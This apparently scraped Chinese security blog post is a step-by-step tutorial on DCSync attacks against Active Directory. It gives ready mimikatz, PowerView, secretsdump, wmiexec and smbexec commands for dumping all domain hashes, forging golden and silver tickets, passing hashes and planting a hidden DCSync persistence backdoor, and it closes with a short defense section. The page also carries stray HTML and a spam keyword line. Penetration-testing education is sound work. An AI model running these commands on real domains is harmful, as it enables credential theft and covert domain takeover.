<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    內網滲透 | 域滲透之Dcsync的利用實戰

    VSole2021-12-05 07:37:25

    Dcsync


    在域環境中,不同域控制器(DC)之間,每 15 分鐘都會有一次域數據的同步。當一個域控制器(DC 1)想從其他域控制器(DC 2)獲取數據時,DC 1 會向 DC 2 發起一個 GetNCChanges 請求,該請求的數據包括需要同步的數據。如果需要同步的數據比較多,則會重復上述過程。DCSync 就是利用的這個原理,通過 Directory Replication Service(DRS) 服務的 GetNCChanges 接口向域控發起數據同步請求。

    新版本的 Mimikatz新增加了 DCSync 功能。該功能可以模仿一個域控制器,從真實的域控制器中請求數據,例如用戶的哈希。

    當獲得了域內管理員權限,如果能修改域內普通用戶的權限,使其具有DCSync權限的話,那么普通域用戶也能導出域內用戶的哈希,這樣可以做一個隱蔽的權限維持。


    默認只有域控主機賬號和域管理員能Dcsync,域管和郵件服務器的機器賬號有寫ACL的權限,可以給指定用戶添加Dcsync來dump域哈希。


    對域對象只需要具備一下這兩個權限,就有dcsync的權限

    ‘DS-Replication-Get-Changes’     = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
    ‘DS-Replication-Get-Changes-All’ = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
    

    利用條件

    1.域控本地管理組用戶(administrators,Domain Admins,Enterprise Admins的組內用戶)

    1.域控制器的計算機用戶

    2.拿下exchange服務器后可以WriteACL賦予指定用戶或域機器DCSync權限

    利用方式:

    擁有上述條件的任意用戶權限,即可導出域內任意用戶的hash

    mimikatz

    導出administrator用戶的Hash

    privilege::debug
    lsadump::dcsync /domain:hiro.com /user:administrator 
    

    導出所有域用戶的哈希

    privilege::debug
    lsadump::dcsync /domain:hiro.com /all /csv
    

    后門利用

    使用Empire下的powerview.ps1腳本執行以上三條ACE

    DCsync是幾個權限的集合體,如果使其具有DCSync權限的話,可以向域內普通用戶添加如下三條ACE(Access Control Entries):

    DS-Replication-Get-Changes—>(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
    DS-Replication-Get-Changes-All—>(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
    DS-Replication-Get-Changes—>(GUID:89e95b76-444d-4c62-991a-0facbeda640c)
    

    在域管用戶上給域用戶win7添加以上三條ACE

    Add-DomainObjectAcl -TargetIdentity “DC=hiro,DC=com” -PrincipalIdentity win7 -Rights DCSync -Verbose

    當用戶win7具有DCSync權限后,可以導出域內哈希:

    python3 secretsdump.py hiro.com/win7:123456QWE.@192.168.228.10 -dc-ip 192.168.228.10

    給域用戶win7刪除以上三條ACE

    Remove-DomainObjectAcl -TargetIdentity “DC=hiro,DC=com” -PrincipalIdentity win7 -Rights DCSync -Verbose

    域用戶win7失去了DCSync,同樣也無法導出域內hash了

    使用黃金票據+DCSync導出域內所有用戶的Hash

    生成黃金票據:

    得到krbtgt用戶hash

    lsadump::dcsync /domain:hiro.com /user:krbtgt

    導入黃金票據

    kerberos::golden /user:administrator /domain:hiro.com /sid:S-1-5-21-1909134247-741334235-3019370817 /krbtgt:5f468f6d7ac43c327396d832a0241d81 /ptt

    導出域hash

    privilege::debug
    kerberos::list 
    導出所有用戶的哈希
    lsadump::dcsync /domain:hiro.com /all /csv
    

    哈希傳遞

    python3 .\wmiexec.py hiro/administrator@192.168.228.10 -hashes aad3b435b51404eeaad3b435b51404ee:e9bf196dc93a1219e3b2e79b1b7aa36e

    Dcsync+可逆加密存儲密碼

    Active Directory 帳戶有一項遺留功能,稱為“可逆加密”。通常,使用 NT單向函數對用戶密碼進行散列以創建 NTLM hash。NTLM hash無法逆轉,必須破解。

    如果啟用了可逆加密,則用戶的密碼將使用加密存儲,這意味著可以將加密的數據還原回用戶的密碼。使用可逆加密存儲的密碼不是散列,因為可以調用函數來恢復原始明文密碼。


    帳戶啟用可逆加密,帳戶的明文密碼不會立即可用;如果對帳戶啟用了可逆加密并且用戶在設置此配置后更改了密碼,則明文密碼將保存在 Active Directory 數據庫中。當用戶再次調用Dcsync后會顯示其明文。


    勾選“可逆加密存儲密碼”這個屬性后,用戶再次更改密碼會顯示其明文密碼;將administrator設置為可逆加密存儲密碼

    使用ldap條件勾選其使用可逆加密存儲屬性的帳戶

    get-adobject -ldapfilter “(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=128))”
     
    Set-ADUser marry -AllowReversiblePasswordEncryption $true
    

    更改administrator密碼,dcsync就能顯示其明文密碼

    python3 secretsdump.py redteam.lab/administrator:Qq123456..@192.168.129.130 -dc-ip 192.168.129.130 -just-dc-user administrator

    使用MachineAccount實現DCSync

    MachineAccount是每臺計算機在安裝系統后默認生成的計算機帳戶

    如果計算機加入域中,會將計算機帳戶的密碼同步到域控制器并保存在域控制器的NTDS.dit文件中

    計算機帳戶的密碼默認每30天自動更新,密碼長度為120個字符,所以說,即使獲得了計算機帳戶密碼的hash,也很難還原出計算機帳戶的明文口令

    關閉域內計算機帳戶密碼自動更新的兩種方法(適用于域內主機)

    1.修改組策略

    選擇Default Domain Policy

    Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\

    1.修改組策略的配置文件

    Default Domain Policy對應的guid為31B2F340-016D-11D2-945F-00C04FB984F9

    配置文件路徑為:

    \\\SYSVOL\\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit

    修改文件GptTmpl.inf,在[Registry Values]下添加新的內容:

    MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange=4,1

    配置完成,將系統時間調快30天,hash保持不變

    獲得MachineAccount口令hash的方法

    1.通過本地SAM文件中讀取密碼哈希

    mimikatz命令示例:
    privilege::debug
    token::elevate
    lsadump::secrets
    

    返回的結果中,$machine.ACC項對應計算機帳戶,如下圖

    2.使用DCSync導出所有帳戶的hash

    (1)使用mimikatz

    在域控制器上使用mimikatz導出域內所有用戶的hash

    mimikatz.exe “lsadump::dcsync /domain:test.com /all /csv” exit

    (2)使用 secretsdump.py

    python3 secretsdump.py test/Administrator:DomainAdmin123!@192.168.1.1

    secretsdump.py的實現原理:

    使用計算機帳戶hash通過smbexec或者wmiexec遠程連接至域控制器并獲得高權限,進而從注冊表中導出本地帳戶的hash,同時通過Dcsync或從NTDS.dit文件中導出所有域用戶的hash。

    3.通過CVE-2020-1472

    CVE-2020-1472能夠在未授權的狀態下遠程修改DC計算機帳戶的口令hash

    像服務器一樣,DC擁有一個帶有密碼的機器帳戶,該帳戶以加密方式存儲在注冊表中。引導時將其加載到lsass中。如果使用Zerologon更改密碼,則僅AD中NTDS密碼會更改,而不是注冊表或lsass中的密碼。利用后每當發出新的Kerberos票證時,DC無法使用lsass中的機器帳戶密碼來解密服務票證,并且無法使用Kerberos中斷身份驗證。

    使用MachineAccount實現DCSync

    例如,獲得了域控制器DC1的計算機帳戶口令hash為7da530fba3b15a2ea21ce7db8110d57b

    1.使用mimikatz

    這里需要制作白銀票據(Silver Ticket),接著獲得LDAP服務的訪問權限

    mimikatz “kerberos::golden /domain:test.com /sid:S-1-5-21-254706111-4049838133-2416586677 /target:DC1.test.com /service:LDAP /rc4:7da530fba3b15a2ea21ce7db8110d57b /user:krbtgt /ptt” “lsadump::dcsync /domain:test.com /all /csv” exit
    /sid表示域的sid,
    /rc4表示計算機帳戶的NTLM hash
    /user:krbtgt表示偽造成用戶krbtgt,生成票據
    

    2.使用secretsdump

    python2 secretsdump.py -hashes :e411580b657837aee7aaadb6e2a4449b redteam/DC1$@192.168.129.130 -just-dc-user krbtgt

    注意:

    1.secretsdump支持從域外的計算機連接至域控制器
    2.如果使用域內普通計算機帳戶的口令hash連接對應的計算機,那么會失敗,提示rpc_s_access_denied
    

    也可以通過 wmiexec.py 或smbexec.py遠程執行cmd命令 (server2016已經不能用機器賬戶進行認證登陸)

    python smbexec.py -hashes :7da530fba3b15a2ea21ce7db8110d57b test/DC1$@192.168.1.1 whoami /priv
    python wmiexec.py -hashes :7da530fba3b15a2ea21ce7db8110d57b test/DC1$@192.168.1.1 whoami /priv
    

    防御

    通過網絡監控檢測來自白名單以外的域控制器數據同步復制。
    給域控設置白名單,只允許白名單內的域控IP發起數據同步請求。
    利用AD自檢工具查看哪些域用戶有Dcsync的權限。
    
    域控制器domain
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    發現內網主機:10.10.10.2、10.10.10.4在meterpreter中輸入命令 shell 進入 成員服務器Winserver 2008-2 的命令行,使用命令查看網絡詳細情況meterpreter > shell. 通過這些信息可以判斷 成員服務器Winserver 2008-2 在 ocean.com 域中,根據 DNS 信息判斷域控主機 IP 為10.10.10.2設置路由使用 Nmap 對內網主機進行掃描meterpreter > background. msf5 exploit > route add 10.10.10.3 255.255.255.0 1. # 將被控機成員服務器Winserver 2008-2的IP添加到 MSF 中,這是給kali增加的路由,添加之后kali才才能找到內網主機
    WINDOWS認證機制 閱讀本文前需要補充的知識:域的基本概念,域環境與工作組環境的區別 何謂域滲透,域滲透就是基于windows域環境的滲透,而域滲透設計到的技術,如哈希傳遞(PTH)票據傳遞(PTT)委派攻擊等,都是基于域環境下的認證機制來實現的,這也是為什么要了解Windows認證機制的原因之一 Windows的認證包括三個部分,用戶直接操作計算機登陸賬戶(本地認證),遠程連接到工作組
    Windows AD基礎知識
    2022-06-14 15:37:35
    內容可能有點長,但是這有助于模擬不同的攻擊,模擬和了解紅隊的攻擊行為。
    國家級APT(Advanced Persistent Threat,高級持續性威脅)組織是有國家背景支持的頂尖黑客團伙,專注于針對特定目標進行長期的持續性網絡攻擊。 奇安信旗下的高級威脅研究團隊紅雨滴(RedDrip Team)每年會發布全球APT年報【1】、中報,對當年各大APT團伙的活動進行分析總結。
    Weblogic是美國Oracle公司出品的一個應用服務器(application server),確切的說是一個基于Java EE架構的中間件,是用于開發、集成、部署和管理大型分布式Web應用、網絡應用和 數據庫應用的Java應用服務器。 Weblogic將Java的動態功能和Java Enterprise標準的安全性引入大型網絡應用的開發、集成、部署和管理之中,是商業市場上主要的Java(J
    域環境下的信息搜集
    2023-05-23 09:25:36
    單域環境查看域環境用戶查看時間/dns服務器net time /domain /net view /domain. 查看域控制器可以得到域控制器IP地址域控還可能開放88 Kerberos 協議,01389 ldap,DNS 53 如果存在EXECHANGE 郵件服務器那么也開放了25還有我們熟悉的139,445.查看身處在哪個域net?該命令批量ping 出存活的IP ,如果沒有存在策略限制一般Ping出存貨的IP都可以進行端口掃描等操作。同等可以使用 nbtscan /fscan等內網掃描工具替代。會在 js下生成一個txt 里邊有web的目錄地址域控常見命令:查找目錄中的?查看指定IP的登錄記錄PVEFindADuser -current -target 192.168.91.133
    Kerberos認證介紹Kerberos是一種計算機網絡授權協議,用來在非安全網絡中,對個人通信以安全的手段進行身份認證。這個詞又指麻省理工學院為這個協議開發的一套計算機軟件。而已有了金票后,就跳過AS驗證,不用驗證賬戶和密碼,所以也不擔心域管密碼修改。
    如何應對面試官最喜歡問的域管與域控定位問題?今天給大家做個總結,無論是實戰還是面試都能給各位有所幫助。 我們在內網滲透中,拿下一臺跳板機后要對域內展開工作,不管它在不在域內,對域管與域控的精確定位重要性不言而喻,今天介紹通過命令行定位,借助工具定位,借助ldap協議定位,端口定位以及不再域內定位的各種思路。
    Summary這兩周一直在做域內DC滲透的工作,持續了較長時間,之前對實戰中的域內滲透,尤其是域滲透的安全組件防御了解頗少,所以過程也是磕磕絆絆,不過值得慶祝的是最后工作圓滿完成。Information collection首先是常規的一些用戶權限,域內環境等信息獲取。角色網絡域信息ipconfig /all #看到主機名與IP地址信息,DNS后顯示域名xxx.org存在,確定Domain name.net view /domain #直接報錯。net time /domain #顯示出了domain,再通過nslookup查到IP地址,確認此賬戶的DC name。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类